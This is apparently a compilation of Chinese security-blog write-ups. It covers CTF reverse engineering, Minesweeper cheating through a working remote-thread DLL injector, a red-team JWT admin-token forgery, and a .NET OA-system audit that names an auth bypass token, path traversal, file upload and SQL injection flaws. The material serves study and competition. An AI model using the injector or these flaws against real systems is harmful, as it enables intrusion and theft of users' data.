MFC框架软件逆向研究
MFC框架简介 什么是mfc? MFC库是开发Windows应用程序的C++接口。MFC提供了面向对象的框架,采用面向对象技术,将大部分的Windows API 封装到C++类中,以类成员函数的形式提供给程序开发人员调用。 简单来说,MFC是一种面向对象,用于开发windows应用程序的框架,突出特点是封装了大部分windows API,便于开发人员使用(写win挂方便)。 MFC程序的运行过程分为以下四步: 利用全局应用程序对象theApp启动应用程序。 调用全局应用程序对象的构造函数,从而调用基类(CWinApp)的构造函数,完成应用程序的一些初始化工作,并将应用程序对象的指针保存起来。 进入WinMain函数。在AfxWinMain函数中获取子类的指针,利用指针实现上述的三个函数,从而完成窗口的创建注册等工作。 进入消息循环,一直到WM_QUIT。 那么问题来了,我们如何逆向mfc程序呢?因为其封装了大部分windows API,逆向起来也复杂了不少,因为需要了解大量的windows api 并且熟悉windows编程。下面进行讲解。 MFC如何逆向 如下图,是MFC框架软件的基本界面,可以看到,就是一堆button,主要逆向也是check button。 那么,对于MFC逆向,我们主要需要知道的是,当我们执行某个操作(点击某个按钮)的时候,程序会执行什么处理函数。在mfc中,程序是使用消息机制来实现操作响应的,这个是消息映射表的代码: struct AFX_MSGMAP{    AFX_MSGMAP * pBaseMessageMap;    AFX_MSGMAP_ENTRY * lpEntries; } struct AFX_MSGMAP_ENTRY{    UINT nMessage;    //Windows Message    UINT nCode        //Control code or WM_NOTIFY code    UINT nID;         //control ID (or 0 for windows messages)    UINT nLastID;     //used for entries specifying a range of control id's    UINT nSig;        //signature type(action) or pointer to message    AFX_PMSG pfn;     //routine to call (or specical value) } 其中这个AFX_MSGMAP_ENTRY中的最后一个成员AFX_PMSG就是一个函数指针,指向了当前控件绑定的函数。同时,这个nID成员描述的是当前控件的ID,利用这个ID就能确定我们所寻找的控件。然后这个AFX_MSGMAP结构体则会记录一个指向AFX_MSGMAP_ENTRY的指针,于是查找控件的注册函数的思路可以缩小为: 找到AFX_MSGMAP 找到控件的ID --- 关键就是找ID 那么,我们又该怎么找到控件ID呢,俗话说“工欲善其事,必先利其器”,作为逆向分析人员,肯定要选择好分析的工具了,很庆幸,我们站在巨人的肩膀上,针对mfc软件程序的逆向分析,前辈们已经开发了一些非常好用的小工具,我们可以直接使用它们。例如: xspy ResourceHacker 彗星小助手 其中我们主要用的是xspy,mfc分析利器如下图所示 逆向实验-以CTF赛题为例讲解 demo1 - MFC初探 打开程序软件 程序的标题Flag就在控件中,然后界面内容是让我们找一个key。很明显,我们需要找到两个东西 标题找Flag(也就是找窗口句柄) 内容找key 根据这些内容,告诉我们我们去找控件,然后这时候就要掏出xspy了。不然的话,我们如果使用老一套经典分析流程,die+ida对用架构分析,会发生下面这样的事。首先die查个架构,查个壳 好家伙,VMP壳,PE32ida走起,如下图,emmm.... 这样的话,我们很难继续往下分析,所以我们使用xspy分析。使用方法如下图 首先我们找到了Flag_enc(944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b)我们知道特定的,窗口句柄叫 HWND 然后我们可以发现一条特殊的onMsgOnMsg:0464,func= 0x00402170(MFC1.exe+ 0x002170 )为什么特殊呢,因为只有它并不是以宏的形式出现,应该是作者自定义的消息,没有button等东西,所以程序怎么点击都无法触发任何效果;并且传入一个特殊数字0464,来触发效果。 那么,我们需要去发送这条消息来出发func函数以获取我们需要的key #include<Windows.h> #include<stdio.h> int main() { HWND h = FindWindowA(NULL, "Flag就在控件里"); if (h) { SendMessage(h, 0x0464, 0, 0); printf("success"); } else printf("failure"); } 使用 API FindWindow 获取窗口句柄,SendMessage发送消息,得到了key{I am a Des key} 最后DES解密即可 flag{thIs_Is_real_kEy_hahaaa} Junk_instruction-西湖论剑 下面,再讲解一道大型比赛的赛题来实验打开,看到这个朴素的界面可以鉴定是MFC框架。 我们看到了一个input,还有一个check button,很明显,我们首先就需要去找check button的id&注册函数。 xspy-MFC分析 check按钮的id为03e9,同时窗口存在OnCommand: notifycode=0000 id=03e9,func= 0x00C72420(Junk_Instruction.exe+ 0x002420 )函数。那么对应的check逻辑肯定在基址+偏移0x002420处。打开ida,找到check函数 sub_402420 ,如下图 可以看到有一个条件判断:if ( (unsigned __int8)sub_402600(v2 + 16) )。一眼顶针,两个分支分别是弹出正确和错误的对话框,为什么呢?if else函数体内容基本一样。当然我们还是动态调试一下 所以enc函数很明显就是sub_402600这个函数中就出现了很多垃圾指令了,也就对应上题目名称Junk_instruction了。 去花-IDA分析 爆红 花指令,经典call $+5起手,就是先用一个call压好返回地址,再把栈里的返回地址弹出来,改一下,压回去,如此反复。去掉也很简单,我们把下述累死指令块全部nop掉即可,有好几处,一模一样。 当然,我们使用idapython脚本自动去花    from ida_bytes import get_bytes, patch_bytes    import re    addr = 0x402600    end = 0x402fe3    buf = get_bytes(addr, end-addr)    def nopp(s):        s = s.group(0)        print("".join(["%02x"%i for i in s]))        s = b"\x90"*len(s)        return s    pattern  = b"\xe8\x00\x00\x00\x00\x58\x89.*?\xc3.*?\x22"    buf = re.sub(pattern , nopp, buf, flags=re.I)    patch_bytes(addr, buf)    print("Done") 加密 去除花指令,简单审计发现是对程序进行RC4加密,最后还对输入进行了个倒叙 去花后,整理一下,代码如下 char __thiscall sub_402600(void *this, int a2) {  const WCHAR *v2; // eax  void *v3; // eax  char v5[511]; // [esp+9h] [ebp-4BBh] BYREF  int v6; // [esp+208h] [ebp-2BCh]  char *v7; // [esp+20Ch] [ebp-2B8h]  int v8; // [esp+210h] [ebp-2B4h]  size_t Count; // [esp+214h] [ebp-2B0h]  int v10; // [esp+218h] [ebp-2ACh]  size_t v11; // [esp+21Ch] [ebp-2A8h]  char *v12; // [esp+220h] [ebp-2A4h]  char *v13; // [esp+224h] [ebp-2A0h]  int v14; // [esp+228h] [ebp-29Ch]  char v15[4]; // [esp+22Ch] [ebp-298h] BYREF  char *Source; // [esp+230h] [ebp-294h]  void *v17; // [esp+234h] [ebp-290h]  char cipher[32]; // [esp+238h] [ebp-28Ch]  const char *v19; // [esp+258h] [ebp-26Ch]  char *v20; // [esp+25Ch] [ebp-268h]  int i; // [esp+260h] [ebp-264h]  char *p_Destination; // [esp+264h] [ebp-260h]  char v23; // [esp+26Dh] [ebp-257h]  char v24; // [esp+26Eh] [ebp-256h]  char v25; // [esp+26Fh] [ebp-255h]  char v26[28]; // [esp+270h] [ebp-254h] BYREF  char v27[256]; // [esp+28Ch] [ebp-238h] BYREF  char key[256]; // [esp+38Ch] [ebp-138h] BYREF  char Destination; // [esp+48Ch] [ebp-38h] BYREF  char v30[39]; // [esp+48Dh] [ebp-37h] BYREF  int v31; // [esp+4C0h] [ebp-4h]  v17 = this;  v31 = 3;  cipher[0] = 91;  cipher[1] = -42;  cipher[2] = -48;  cipher[3] = 38;  cipher[4] = -56;  cipher[5] = -35;  cipher[6] = 25;  cipher[7] = 126;  cipher[8] = 110;  cipher[9] = 62;  cipher[10] = -53;  cipher[11] = 22;  cipher[12] = -111;  cipher[13] = 125;  cipher[14] = -1;  cipher[15] = -81;  cipher[16] = -35;  cipher[17] = 118;  cipher[18] = 100;  cipher[19] = -80;  cipher[20] = -9;  cipher[21] = -27;  cipher[22] = -119;  cipher[23] = 87;  cipher[24] = -126;  cipher[25] = -97;  cipher[26] = 12;  cipher[27] = 0;  cipher[28] = -98;  cipher[29] = -48;  cipher[30] = 69;  cipher[31] = -6;  v2 = (const WCHAR *)sub_401570(&a2);  v14 = sub_4030A0(v2);  v10 = v14;  v3 = (void *)sub_401570(v14);  sub_403000(v3);  sub_4012A0(v15);  Source = (char *)unknown_libname_1(v26);  v20 = Source;  v13 = Source + 1;  v20 += strlen(v20);  v11 = ++v20 - (Source + 1);  Count = v11;  Destination = 0;  memset(v30, 0, sizeof(v30));  strncpy(&Destination, Source, v11);  if ( sub_402AF0(&Destination) ) {    v23 = 0;    v25 = 0; LABEL_7:    v24 = v25; }  else {    strcpy(key, "qwertyuiop");                  // key    memset(&key[11], 0, 0xF5u);    memset(v27, 0, sizeof(v27));    memset(v5, 0, sizeof(v5));    v19 = key;    v7 = &key[1];    v19 += strlen(v19);    v6 = ++v19 - &key[1];    RC4_init((int)v27, key, v19 - &key[1]);     // RC4_init    p_Destination = &Destination;    v12 = v30;    p_Destination += strlen(p_Destination);    v8 = ++p_Destination - v30;    RC4_crypt((int)v27, (int)&Destination, p_Destination - v30);// RC4_crypto    for ( i = 31; i >= 0; --i )   {      if ( v30[i - 1] != cipher[i] )            // 倒叙     {        v25 = 0;        goto LABEL_7;     }   }    v24 = 1; }  LOBYTE(v31) = 0;  sub_403060(v26);  v31 = -1;  sub_4012A0(&a2);  return v24; } 解密 首先提取密文,利用插件Lazy_ida 5BD6D026C8DD197E6E3ECB16917DFFAFDD7664B0F7E58957829F0C009ED045FA key-->qwertyuiop cyberchef 得解 flag{973387a11fa3f724d74802857d3e052f}
游戏安全入门-扫雷分析&远程线程注入
前言 无论学习什么,首先,我们应该有个目标,那么入门windows游戏安全,脑海中浮现出来的一个游戏 -- 扫雷,一款家喻户晓的游戏,虽然已经被大家分析的不能再透了,但是我觉得自己去分析一下还是极好的,把它作为一个小目标再好不过了。 我们编写一个妙妙小工具,工具要求实现以下功能:时间暂停、修改表情、透视、一键扫雷等等。 本文所用工具: Cheat Engine、x32dbg(ollydbg)、Visual Studio 2019 扫雷游戏分析 游戏数据在内存中是地址,那么第一个任务,找内存地址 打开CE修改器 修改时间->时间暂停 计数器的时间是一个精确的值,所以我们通过精确数值扫描出来,游戏开始之前计数器上的数是0,所以我们扫描0。 时间在变化,选择介于什么数值之间再次扫描 可得 0x100579c --- winmine.exe+579C 我们发现这个数据都是直接通过基址 + 固定偏移能直接得到的。 然后我们对数据去找 是什么改写了这个地址,得到一个指令和指针: 时间:0x100579c 修改表情 - 没啥用 修改表情这个功能怎么搞我觉得还是很容易想到的,这个按钮的作用是重新开始游戏,开始游戏,游戏胜利,游戏失败。 (表情的状态被分成了两个变量(4byte)来控制) 所以它是一种状态,所以我们通过0和1进行扫描,游戏进行状态输入1进行扫描,还原游戏之后输入0进行扫描。 首先是游戏进行状态,输入1进行扫描 再点击表情,将游戏还原,输入0开始扫描 如此反复进行扫描,得到表情的内存地址 0x1005164 -- winmine.exe+5164 但是嘞,修改成2或者3,表情没有心得反应,所以控制游戏胜利和游戏失败的是其他的地址,我们知道,一般来说,一个功能的代码在内存中基本上都是连续的,(就像你修改一个游戏的血量,浏览血量内存块,你可以发现怒气,蓝量等内存地址) 所以,我们浏览内存 0x1005164-4 = 0x1005160 修改为3,发现出现了戴墨镜的表情(游戏胜利) 但是这个胜利知识一个状态,并不能说明扫雷完成. 表情:0x1005160与0x1005164 透视 - 显示雷区 思考游戏结束的时候会自动显示所有的雷,因此我们动态调试,看看在哪个函数调用之后会显示所有的雷 经过几次的动态调试之后发现:0x2F80函数是我们要找的结果。 一键扫雷 通过透视,我们玩一把游戏,使得游戏胜利(点完最后一个) 然后后两个函数,是破纪录跟英雄榜的函数 ret来到了这儿,游戏通关了,来到了这儿,可以知道,这个0x347c就是判断输赢的函数 并且通过调试发现由一个参数 0 1 来控制,所以跟透视差不多,带个参数线程回调就完了 编写妙妙小工具 怎么实现这个工具呢,当然是选择DLL注入 那么dll 怎么注入进去呢,这里选择远程线程注入 这里先简单介绍下什么是远程线程注入 前置知识-动态调用dll 主要就是这几个个 API: LoadLibraryA 加载指定 DLL 并返回模块句柄,参数为字符串,就是 dll 的路径。 GetProcAddress 获取指定 dll 的导出函数的地址。 第一个参数是模块句柄,第二个参数是模块函数,返回值为函数的地址。 通过这两个函数,我们可以拿到所有函数的地址,然后就能进行调用。 CreateThread - 远程线程注入 里面几乎只有一个参数,那就是线程回调函数,然后当然还有返回地址,返回线程 id 啥的,这里我们都可以不用管,几乎是与 Linux 的创建线程函数一致。 还有一个远程版本的叫 CreateRemoteThread,它可以给别的进程创建一个线程并可以在本进程创建那个进程调用的回调函数。我们可以在回调函数中加载指定的 dll,在 dllmain 的入口当中,有一个 switch 的四个选项。 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule,//指向自身的句柄                       DWORD  ul_reason_for_call,//调用原因                       LPVOID lpReserved//隐式加载or显式加载                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH://附加到进程上时执行    case DLL_THREAD_ATTACH://附加到线程上时执行    case DLL_THREAD_DETACH://从线程上剥离时执行    case DLL_PROCESS_DETACH://从进程上剥离时执行        break;   }    return TRUE; } 我们可以在 DLL_PROCESS_ATTACH 的选项中加入代码,让它在加载的时候调用执行。 那么我们的步骤是: 打开指定进程获得句柄 开辟远程进程的空间,分配可读可写段。 调用 WriteProcessMemory 将 dll 路径写入该内存区域。 创建远程线程,回调函数使用 LoadLibrary 加载指定 dll。 等待返回(loadLibrary返回) 释放空间 释放句柄 返回结果 demo: void Inject(DWORD ProcessId, const char* szPath) {    //1.打开目标进程获取句柄    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);    printf("进程句柄:%p\n", hProcess);    //2.在目标进程体内申请空间    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    //3.写入DLL路径    SIZE_T dwWriteLength = 0;    WriteProcessMemory(hProcess, lpAddress, szPath, strlen(szPath), &dwWriteLength);    //4.创建远程线程,回调函数使用 LoadLibrary 加载指定 dll    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpAddress, NULL, NULL);    //5.等待返回(loadLibrary返回)    WaitForSingleObject(hThread, -1);    //6.释放空间    VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);    //7.释放句柄    CloseHandle(hProcess);    CloseHandle(hThread);    //返回结果    AfxMessageBox(L"完成"); } 编写DLL注入器 #include<windows.h> #include<iostream> #include<time.h> #include<stdlib.h> #include<TlHelp32.h> DWORD FindProcess() {    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32 pe32;    pe32 = { sizeof(pe32) };    BOOL ret = Process32First(hSnap, &pe32);    while (ret)   {        if (!wcsncmp(pe32.szExeFile, L"mine.exe", 11)) {            printf("Find winmine.exe Process %d\n", pe32.th32ProcessID);            return pe32.th32ProcessID;       }        ret = Process32Next(hSnap, &pe32);   }    return 0; } void Inject(DWORD ProcessId, const char* szPath) {    //1.打开目标进程获取句柄    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);    printf("进程句柄:%p\n", hProcess);    //2.在目标进程体内申请空间    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    //3.写入DLL路径    SIZE_T dwWriteLength = 0;    WriteProcessMemory(hProcess, lpAddress, szPath, strlen(szPath), &dwWriteLength);    //4.创建远程线程,回调函数使用 LoadLibrary 加载指定 dll    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpAddress, NULL, NULL);    //5.等待返回(loadLibrary返回)    WaitForSingleObject(hThread, -1);    //6.释放空间    VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);    //7.释放句柄    CloseHandle(hProcess);    CloseHandle(hThread); } int main() {    DWORD ProcessId = FindProcess();    while (!ProcessId) {        printf("未找到扫雷程序,等待两秒中再试\n");        Sleep(2000);        ProcessId = FindProcess();   }    printf("开始注入进程...\n");    Inject(ProcessId, "E:\\CODE\\wimine\\Mine\\release\\Mine.dll");    printf("注入完毕\n"); } 编写DLL 这里我们采用MFC DLL 基于对话框 (dialog)的方式编写(简单),使用静态编译的方式 然后我们需要在资源窗体,新建一个 Dialog ,简单包装一个界面 这样我们在加载窗体的时候需要创建一个窗体类对象用它的 DoModal 方法去显示,用线程回调的方式加载并且初始化InitInstance DWORD WINAPI DlgThreadCallBack(LPVOID lp) {    MineDlg* Dlg;    Dlg = new MineDlg();    Dlg->DoModal();    delete Dlg;    FreeLibraryAndExitThread(theApp.m_hInstance, 1);    return 0; } // CMineApp 初始化 BOOL CMineApp::InitInstance() {    CWinApp::InitInstance();   ::CreateThread(NULL, NULL, DlgThreadCallBack, NULL, NULL, NULL);    return TRUE; } 时间暂停 上面我们找到了它控制时间增加的指令,我们把它们全部 NOP 掉,就可以实现时间暂停 写两个按钮,创建下面的事件实现时间暂停开关。 DWORD GetBaseAddr() {    HMODULE hMode = GetModuleHandle(nullptr);    //LPWSTR s = (LPWSTR)malloc(0x100);    //wsprintf(s, L"基址:%p", hMode);    //AfxMessageBox(s);    return (DWORD)hMode; } void MineDlg::OnBnClickedButton1() // 时间暂停 {    // TODO: 在此添加控件通知处理程序代码    auto BaseAddr=GetBaseAddr();    DWORD TimeOffset = 0x579C;    DWORD TimeInsOffset = 0x2FF5;    DWORD InsLen = 6;    DWORD old;    VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, PAGE_EXECUTE_READWRITE, &old);    BYTE INS[] = { 0x90,0x90,0x90,0x90,0x90,0x90 };    memcpy((void *)(BaseAddr + TimeInsOffset), INS, InsLen);    VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, old, &old); } void MineDlg::OnBnClickedButton2() // 恢复字节即可取消时间暂停 {    // TODO: 在此添加控件通知处理程序代码    auto BaseAddr = GetBaseAddr();    DWORD TimeOffset = 0x579C;    DWORD TimeInsOffset = 0x2FF5;    DWORD InsLen = 6;    DWORD old;    VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, PAGE_EXECUTE_READWRITE, &old);    BYTE INS[] = { 0xFF,0x05,0x9C,0x57,0x00,0x01 };    memcpy((void*)(BaseAddr + TimeInsOffset), INS, 6);    VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, old, &old); } 测试 透视 经过上面动态调试我们得出结论:0x2F80函数是踩雷函数。 我们如果调用这个函数,是不是就能够实现透视了呢? 我们依旧采取线程回调的方式 void MineDlg::OnBnClickedButton3() {    // TODO: 在此添加控件通知处理程序代码    DWORD ESPOffset = 0x2f80;    DWORD FuncAddr = GetBaseAddr() + ESPOffset;    // 创建不带参数的线程    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FuncAddr, NULL, 0, NULL); } 测试 一键扫雷 跟透视差不多,只不过创建带参数的线程回调 void MineDlg::OnBnClickedButton4() {    // TODO: 在此添加控件通知处理程序代码    DWORD ESPOffset = 0x347C;    DWORD FuncAddr = GetBaseAddr() + ESPOffset;    //创建带参数的线程    struct { int a; } s = { 0 };    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)FuncAddr, &s, NULL, NULL); } 测试 总结 通过这个小项目,对WIN游戏安全有初步的认识,并且加强对软件的逆向思维,增强动态调试的能力,找到软件关键的基地址,通过CE修改器,初步pojie软件,了解软件的状态,修改时间(时间暂停等等),理解几个重要的API,FindWindow获取句柄,WriteProcessMemory写入内存信息,LoadLibraryA加载指定 DLL 并返回模块句柄,GetProcAddress,获取指定 dll 的导出函数的地址,CreateThread 线程回调函数等等。多写,多做,多调,多实验,加油,互勉。
【总结】注册码泄露原理以及例题
引言 题目给了小明的机器码:1653643685031597 用户user_id:xiaoming 可以看到题目采用了SIMD指令集 该指令格式在CTF和攻防对抗中经常出现,可以提高执行效率的同时也可以增加逆向的难度。 对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。 机器码修改 将内置的机器码改为题目给的:1653643685031597 修改成功: 得到flag的时候跟machine这个有很大关系 动态分析 machine_id处理 在这个加密函数中 发现了MD5特征 经过动调拿到函数加密后的结果 与我们的猜测是相符的 可以发现最终md5(机器码)变成 user_id处理 和调试machine加密一样,最终MD5(user_id)变成: 最终处理 经过之前相同的加密 变成这个数字:1228240365737281 然而这还没完,居然进行两次相同加密 再次加密后的结果:0502036271810858 可以发现此题出的很好,利用了密码比较的漏洞,没有将密文给出,而是将生成的密文在中间给出,从而造成了数据泄露。 得到flag 回顾加密流程,可以发现 f(key) = f( f( f(md5(machine)) + f(md5(user_id)) ) ) 那么题目给了得到flag的machine和user_id,可以得出 Key =f( f(md5(machine)) + f(md5(user_id)) ) 所以最终flag: flag{1228240365737281}
jwt伪造身份组组组合拳艰难通关
前言 现在的攻防演练不再像以往那样一个漏洞直捣黄龙,而是需要各种组合拳才能信手拈来,但是有时候使尽浑身解数也不能称心如意。 前期信息收集 首先是拿到靶标的清单 访问系统的界面,没有什么能利用的功能点 首先进行目录扫描,扫描发现存在xxx.zip的文件放置在web目录上 一般zip文件大部分情况都是开发运维人员做系统维护时留下的备份文件,在系统上线后并没有将其删除,于是底裤(即源代码)都直接给到了攻击者 来到这一步都以为是一路高歌,轻松拿下,没想象到是跌宕起伏伏伏伏伏...... 先使用wget下载zip文件,文件总共200+mb,很有概率是源代码的打包 从文件内容可判断,该系统是使用的.net开发,可通过dnspy进行审计 文件上传漏洞审计 拿到源码后的第一个思路是寻找文件上传漏洞 果不其然在源码中找到uploadimg接口,发现未对上传的文件格式进行过滤 实际访问接口发现,怎么改变文件格式、文件内容、Content-Type、还是各种变种传输都无济于事 返回包永远是{"Status":1,"Data""null} 运维实在是坏呀~ Sql注入漏洞审计 第二个思路就是找注入 但是代码中定义了一个SqlChecker全局的类,强制处理所有用户传参,找注入这个方向有有点难啃了 系统用户信息遍历 找到/api/user/getusers接口 接口没有做鉴权,构造请求包发送,返回包返回系统所有用户信息 其中用户信息包括姓名、出生日期、微信账号、手机号码、邮箱、密码等等 伪造jwt_token获取系统管理员-拿下靶标 源码获取到jwt_token的secret 但是该secret不是可读性文本,估计是随机生成的byte字节序列,因此不能自行使用cyberchief或者其他工具将token直接生成 这里有个坑点:开始是使用gpt生成的脚本进行secret的读取和token的生成,发现gpt在处理字节上面有点问题,生成的jwt_token不能使用,于是自行编写了个py脚本进行jwt_token的构造,首先我们将字节序列做16进制的转化,为了python能够使用bytes.fromhex()函数读取16进制化的secret,然后根据上面读出的用户信息,伪装admin账号身份,并设置一个较长的ExpireTime 拿到jwt_token之后,要如何使用才能拿到后台呢,这里首先要明白该系统的登录鉴权机制 由于他存在注册功能,我们便可在自行注册一个账号,然后进行登录,查看认证处理流程 从数据包里面得知,登录成功后会返回jwt_token和一些与用户相关的一些信息,前端会根据返回的身份信息,跳转到对应的页面,并且功能接口都会带上jwt_token进行请求以便获取系统数据 了解清楚后,就开始进行身份伪造,首先去后台登录系统 将登录返回包的内容替换为管理员账号的token(从python脚本中生成)和管理员用户的身份信息 通过鉴权后,终于成功获取管理员后台,靶标5000分到手,哈哈 总结 本次渗透从惊喜到怀疑到失落,总的来说就是“山穷水尽疑无路,柳暗花明又一村”。 如果只是死磕文件上传、SQL注入这些能够快速获取权限的洞,反而有时会错过一些有用的信息,毕竟比赛中分数才是最要紧的,如何高效快速拿下靶标才是第一要领。 同时,代码审计的过程中要结合系统功能来多方面评估,本次挖洞也是先认真理解了系统的登录认证机制,才知道有jwt鉴权这种方式,从而萌生在代码中找jwt secret的想法,也才能把快到手的分数牢牢抓在自己手中。
【实战】文件加密器进行逆向
前言 实战可以大大提高自己,学习技术的目的就是能够在实战中运用。 本次实战与实际息息相关,该软件具有加密某文件的功能。 界面还挺好看的,功能很简单,输入文件和PIN(4位)进加解密。 这是被加密的文件 需要将其进行解密,拿到flag 思路 因为PIN是4位,因此可以写一个python脚本,对其进行爆破。 关键在于得出加密的算法,此时就需要我们进行逆向分析了 分析 先尝试进行加密 根据关键词:encrypted 进行定位 发现是我们需要的信息 跟踪进去,发现了花指令 去花指令 发现堆栈不平衡,将所有代码选中,然后C键,重新分析 发现了单指令花指令,无非nop掉即可 从头选到下一个函数开始的位置 按下C键 analyze即可 还是rust编译的 此时就可以分析函数了。处理其他函数也是相同的道理 初步分析 使用Fincrypto发现了salsa20加密 salsa20:32位字符构成的key,二是随机生成的8位nonce。算法使用key和nonce生成一个2^70长度的序列,并与明文进行异或加密 sub_140073A70 发现main_func就是获取我们的输入的文件内容 sub_140039890 而函数sub_140039890才是关键的加密函数 0x61707865、0x3320646E均为Salsa20算法的固定参数 解密 由于密码只有0000~9999这10000种可能 加密后文件名又是flag.png.enc,所以原文件是个png文件 使用png固有文件头89504E47来判断解密是否成功  Python    from Cryptodome.Cipher import Salsa20    cipher = open("flag.png.enc", "rb").read()  for i in range(10000):  key = str(i).rjust(4, '0').ljust(32, 'x00')  nonce = b'x24x24x24x24x24x24x24x24'  sal = Salsa20.new(key=key, nonce=nonce)  plain = sal.decrypt(cipher)  if plain.find(b"x89x50x4Ex47")>=0:  open("flag.png", "wb").write(plain)  break
后门函数技术在二进制对抗中的应用
本次题目跟第七届HWS线下的re2有类似的地方,均有后门函数。 二进制后门可以理解为:我们只需要修改某个字节或某个函数,就可以将加密的过程变成解密的过程,大大节省逆向成本。 本题先对内置的dll进行解密,然后调用其加密函数对我们的txt进行加密,如果我们将加密的函数nop为解密函数,就可以直接解密,类比与RC4动态解密技术。 1、初次分析 0地址异常反调试 本题的一大亮点就是有访问0地址的异常反调试,小伙伴们在做的时候有没有发现调试异常艰难呢 故意访问0地址 然后走作者自定义的处理函数,如果我们在IDA动调的时候不经过处理函数,程序就会卡在哪里不能继续运行。 做法很简单:将访问0地址的代码和异常处理函数完全给nop掉 (说白了:就是将所有跟异常有关的汇编都给nop掉就完事) 处理函数也是完整nop 返回处也nop,跟开头相对应 main函数 分析main函数,发现反编译爆红 很正常,查看汇编代码,发现了异常反调试和异常花指令干扰分析 做法很简单:直接nop即可 具体做法参考:上面一小节,0地址异常反调试 nop 成功生成函数 TLS回调函数 尝试运行,发现直接退出,发现了TLS反调试函数 nop即可 生成函数 将exit函数nop掉即可,不用管反调试的事情了 2、内置DLL资源解密 使用工具打开file_encrypt 发现内置 pe程序,猜测key为0x33,解密 这是程序使用0x33解密 发现了很多加密函数和解密函数(Crypt开头),因此本题程序使用本dll进行加密和解密操作 在后面的分析中,也发现了函数加载了我们的dll 3、关键函数分析 sub_401320 使用IDA动调发现了很多bug,莫名其妙断下,改用x64dbg sub_402000 路径和盘符有关,比如我在C盘 C:......\document\1.txt 找到1.txt sub_4017E0 加载dll sub_4013E0 4、解密 既然使用了encrypto,那么我们改为decrypto就可以啦 I added the missing CryptDecrypt call to the binary's import table and patched the executable to decrypt the files. The decryption call takes one parameter less than the encryption one, so I NOP'ed one push to the stack as well:
某个OA系统的代码审计
2023年HVV中爆出来的洞了,但是有一些漏洞点修复了,刚好地市级的攻防演练中遇到了一个,想着把可能出现问题的点全部审计一下,顺便熟悉一下.net代码审计。ps:感兴趣的师傅们可以自行根据poc搜索源码。 0x1 反编译 好吧,当我没说,下载dnspy反编译即可,但是首先要找到web逻辑代码才能开始审计,因为这套oa是使用了mvc开发模式,简单介绍一下mvc,其实就是model,controller,view,其中的view是视图也就是html等展示给用户看的东西,model是模型也就是控制数据库的代码。controller是控制器负责执行代码的逻辑,也就是我们需要审计的地方了。 然后找到controller就是web的主要逻辑了。 0x2 身份校验绕过 首先可以随便点入一个controller,发现filesController继承自TopVisionApi。 然后我们发现IsAuthorityCheck()这个函数用于判断权限。 首先看到第一行代码getByValue这个函数,其实Request.Properties["MS_HttpContext"]).Request[value]就是获取http请求中的某个参数,而value就是调用传过来的参数,在这里是token,那么这段代码就是获取http中的token参数。 然后if判断了token是不是空值然后再判断token参数的值是不是等于"zxh",如果登录则直接返回一个UserInfo对象。 然后回到filesController的身份判断,发现只判断了IsAuthorityCheck返回是否为null,所以只需要让token参数是zxh的时候,那么就可以绕过身份校验了。 0x3 任意文件下载 还是 filesController 这个控制器 DownloadRptFile方法。这时我们已经绕过了身份认证,所以只需要看之后代码即可。requestFileName就是我们传递的http参数, 然后跟进代码。并未发现任何过滤../的行为,直接传递给getBinaryFile函数 getBinaryFile函数如下。 结果证明: (读取文件内容会以base64返回) 0x4 信息泄露 发现GetCurrentUserList方法查询了所有用户信息。并且返回给前台。 <UserInfo>是c#中的泛型,这里是用来查询数据库的。可以看到遍历了dicUserList这个数组。这个数组就是初始化的用户信息数组了。 直接访问: 0x5 任意文件删除 发现DeleteFile2方法是一个删除文件方法。这里也没有发现过滤../以及过滤删除文件的后缀名。 虽然是有限制了文件路径,但是全然没有过滤../,而且filename参数也是完全可控的。所以这里其实是存在任意文件删除漏洞的。 ps: 这里就不放验证截图了,感兴趣的师傅们可以自行本地验证。 0x6 任意文件上传 UploadFile2方法中获取了各种参数,然后传入UploadFile2 跟进该方法。pathType就是限制文件上传到哪个文件夹的。 pathType详解: fs参数是我们传递的byte数组也就是文件的内容。 startPoint等于0就好这样才能创建一个新的文件,datasize则是数组的长度。 漏洞验证: 0x7 SQL注入 InventoryController的GetProductInv方法,直接从参数获取boxNoName未经过过滤直接通过string.Format拼接至sql语句中,导致了sql注入。 验证:直接sqlmap即可
JMX 反序列化漏洞
